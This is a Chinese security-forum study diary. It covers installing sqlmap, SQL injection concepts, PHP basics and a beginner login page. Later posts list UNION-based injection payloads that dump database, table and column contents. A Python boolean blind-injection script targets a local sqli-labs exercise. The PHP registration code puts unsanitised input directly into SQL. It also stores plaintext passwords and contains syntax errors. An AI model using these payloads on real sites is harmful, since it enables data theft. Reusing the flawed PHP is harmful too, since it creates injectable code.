安全矩阵

 找回密码
 立即注册
搜索
楼主: Anatasha

周家敏学习日记

[复制链接]

8

主题

42

帖子

207

积分

中级会员

Rank: 3Rank: 3

积分
207
 楼主| 发表于 2020-5-5 22:15:07 | 显示全部楼层
本帖最后由 Anatasha 于 2020-5-5 22:18 编辑

sql注入
一、安装sqlmap
1、Windows需要安装python2.7,把之前卸载的2.7版本找回来安装配置好。
2、sqlmap下载网站:http://sqlmap.org/
下载zip压缩包
3、命令行执行sqlmap.py
出现以下界面表示成功


二、sql注入:
1、sql注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2、sql注入步骤:
(1)寻找注入点,构造特殊的语句
(2)用户构造SQL语句
(3)将SQL语句发送给DBMS数据库
(4)DBMS收到返回的结果,并将该请求解释成机器代码指令,执行必要得到操作
(5)DBMS接受返回结果,处理后,返回给用户
*DBMS:数据库管理系统,是一种操纵和管理数据库的大型软件,是用于建立、使用和维护数据库。它对数据库进行统一的管理控制,以保证数据库的安全性和完整性。

3、sql注入分类:
(1)数字型注入
当输入的参数为整型时,则有可能存在数字型注入漏洞。
假设存在一条 URL 为:HTTP://www.samtrix.com/test.php?id=1
可以做出猜测:SELECT * FROM table WHERE id=1
判断方法:
1.SELECT * FROM table WHERE id=1',
不符合语法,导致出错
2.SELECT * FROM table WHERE id=1 and 1 = 1
语句正确,执行正常,返回的数据正常。
3.SELECT * FROM table WHERE id=1 and 1 = 2
逻辑不对,返回数据与原始请求有差异。
这三步满足基本可判断

(2)字符型注入
数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。
判断方法与上述相似

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

8

主题

42

帖子

207

积分

中级会员

Rank: 3Rank: 3

积分
207
 楼主| 发表于 2020-5-8 22:40:50 | 显示全部楼层
PHP语法
一、基础:
1、switch语句:有选择地执行若干代码块,break可以阻止代码继续运行。
例:
<?php
$color="red";
switch ($color)
{
case "red":
   echo "你喜欢的颜色是红色!";
break;
case “green”:
echo "你喜欢的颜色是绿色!";
break;
default:
   echo "你喜欢的颜色是".$color."!";
}
?>

2、while 循环:重复执行代码块,直到指定条件不成立
例:
<?php
$i=1;
while($i<=5)
{
   echo "The number is " . $i . "<br>";
   $i++;
}
?>

3、for循环:预先知道运行次数的循环
例:
<?php
for ($i=1; $i<=5; $i++)
{
echo "The number is " . $i . "<br>";
}
?>

二、php MySQL
1、读取数据:
$sql = "select name,age from biao”;

2、where子句:
$sql = "select * from biao where `姓名` like '%".$username."%'";

3、order by子句:对所选数据进行排序
$sql = "select * from biao order byage"

4、update子句:
$sql = “update biao set age=23 where name=”Tom Holland””;

5、delete子句:
$sql = “delete from biao where name=” TomHolland””;

三、php部分函数:
1、php array函数:访问并操作数组
比如以下比较常见:
array():创建数组
array_chunk():把一个数组分割为新的数组块
array_combine():通过合并两个数组来创建一个新数组
array_intersect_assoc():用于比较数组之间的键名和键值,并返回交集
array_keys():返回数组中所有的键名
……还有更多不那么常见

2、php error:检测并反馈错误,这是很重要的函数,可以对错误进行处理和记录。
例如数据库连接:
<?php
$con=mysqli_connect("localhost","root","","a");
if (!$con)
{
   echo "连接失败: " .mysqli_connect_error();
}
?>
比如以下比较常见:
error_get_last() :获得最后发生的错误
error_log() :向服务器错误记录、文件或远程目标发送一个错误
error_reporting() :规定报告哪个错误

回复

使用道具 举报

8

主题

42

帖子

207

积分

中级会员

Rank: 3Rank: 3

积分
207
 楼主| 发表于 2020-5-12 22:07:59 | 显示全部楼层
本帖最后由 Anatasha 于 2020-5-12 22:09 编辑

用PHP制作登录和注册页面,需要多个页面,包括注册、登录和退出,分几个步骤
如下:
一、连接数据库:(文件名:连接.php)

  1. <?php
  2.     $host = "localhost";
  3.     $userName = "root";
  4.     $password = "";
  5.     $conn = mysqli_connect($host,$userName,$password);
  6.     if(!$conn)
  7.        {
  8.        die("连接失败: " . mysqli_connect_error());
  9.        }
  10. ?>
复制代码

二、注册页面:(文件名:注册.html)

  1. <!doctype html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="utf-8">
  5. <title>注册页面</title>
  6. </head>
  7. <body>
  8. <img style="position:absolute;left:0px;top:0px;width:100%;height:100%;z-Index:-1; border:1px solid blue" src="背景.jpg" />
  9. <form action="注册2.php" method="post">
  10. <center>
  11. </br>
  12. <h1>注册</h1>   
  13. <label for="users">用户名:</label><input type="text" name="users" id="users">
  14. </br>
  15. <label for="pwd">密码:</label><input type="password" name="pwd" id="pwd">
  16. <input type="submit" value="注册" id="tijiao">
  17. </center>
  18. </form>
  19. </body>
  20. </html>
复制代码

视图如下:


三、处理注册结果(文件名:注册2.php)


  1. <?php
  2.     include "./连接.php";

  3.     $users = $_POST["users"];
  4.     $pwd = $_POST["pwd"];

  5.     $sql = "insert into `studerlo`(`name`,`pwd`) values (`$users`,`$pwd`)";   
  6.     $result = mysqli_query($con,$sql);
  7.     if($result){
  8.         echo "<script type='text/javascript'>window.location.href='登录.html'</script>"; //这个代码还没写
  9.     }else{
  10.         echo "<script type='text/javascript'>alert('注册失败!');window.location.href='注册.html'</script>";   
  11.     }
  12. ?>
复制代码

未完待续……(但是这好像有点不太对劲)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

8

主题

42

帖子

207

积分

中级会员

Rank: 3Rank: 3

积分
207
 楼主| 发表于 2020-5-14 22:03:54 | 显示全部楼层
sql显错注入
一、sql注入类型:
1、数字型注入点:
可以猜测sql注入语句:
  1. select * from news where id=1 and 1=1
复制代码


2、字符型注入点:
可以猜测sql注入语句:
  1. select * from news where chr=‘admin’ and 1=1 ’ ’
复制代码
//字符型一般需要使用单引号来闭合。


3、搜索型注入点:
特征:通过搜索框表单提交
可以猜测sql注入语句:
  1. select * from 表名 where 字段 like ‘%关键字%’ and ‘%1%’=’%1%’
复制代码


二、基本流程
1、判断是否存在注入点:
在URL后添加and 1=1如果正常回显
and 1=2页面不正常
则证明存在注入点
或者直接加 ‘ 看是否报错


2、猜解字段数:
order by +字段数
直到显示报错,得到字段数


3、联合查询找出注入点:
and 1=2 union select 1,2,3,……#
看输出哪一个字段,可以判断输出点


4、查询:
例如上一步输出的字段为2,则:
数据库名:
  1. and 1=2 union select 1, database(),3#
复制代码

表名:
  1. and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='库名'),3#
复制代码

字段:
  1. and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = '库名' and table_name = '表名'),3#
复制代码

数据:
  1. and 1=2 union select 1,(select group_concat(字段1,字段2) from 库名.表名),3#<span style="background-color: rgb(255, 255, 255);"> </span>
复制代码

回复

使用道具 举报

8

主题

42

帖子

207

积分

中级会员

Rank: 3Rank: 3

积分
207
 楼主| 发表于 2020-5-18 22:34:05 | 显示全部楼层
本帖最后由 Anatasha 于 2020-5-18 22:37 编辑

SQL盲注注入——布尔型
一、盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。
      布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。


二、相关函数:
1、exists():用于检查  子查询是否有返回数据。 结果是 ture或者false
2、ascii():把字符转化成ascii码
3、substr():截取字符串substr(string string,num start,num length),偏移从1开始的 并不是0。
4、sleep(n):将程序挂起一段时间 n为n秒
5、if(expr1,expr2,expr3):判断语句如果第一个语句正确就执行第二个语句如果错误执行第三个语句


三、步骤:
1、判断注入点
比如:注入测试加单引号id=1',会返回不正确页面


2、判断查找的数据库的长度
当前数据库database()的长度大于10,返回true页面,否则FALSE页面


3、爆破数据库名称:
(1)比如:
格式一:http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((SQL语句),1,1))=ASCII%23
          (ASCII :返回的字符的ASCII码;可以根据二分法猜测。)

当猜测第一个数据库名字母时:猜测为s,s的ASCII码为115
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))=115%23


当猜测第二个数据库名字母时:猜测为q,q的ASCII码为113
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 4,1),2,1))=113%23

依次类推


格式二:
当猜测第一个数据库名字母时:猜测为s
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and left(database(),1)='s'  --+

依次类推


(2)可以跑代码,爆破数据库长度和数据库名

import requests
def database_len():
        for i in range(1,10):
                url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
                payload = '''?id=1' and length(database())>%s''' %i
                # print(url+payload+'%23')
                r = requests.get(url+payload+'%23')
                if 'You are in' in r.text:
                        print(i)

                else:
                       #print('false')
                        print('database_length:',i)
                        break

database_len()

def database_name():
        name = ''
        for j in range(1,9):
                for i in 'sqcwertyuioplkjhgfdazxvbnm':
                        url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
                        # print(url+'%23')
                        r = requests.get(url+'%23')
                        if 'You are in' in r.text:
                                name = name+i

                                print(name)

                                break

        print('database_name:',name)

database_name()


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2020-5-27 04:50 , Processed in 0.011291 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表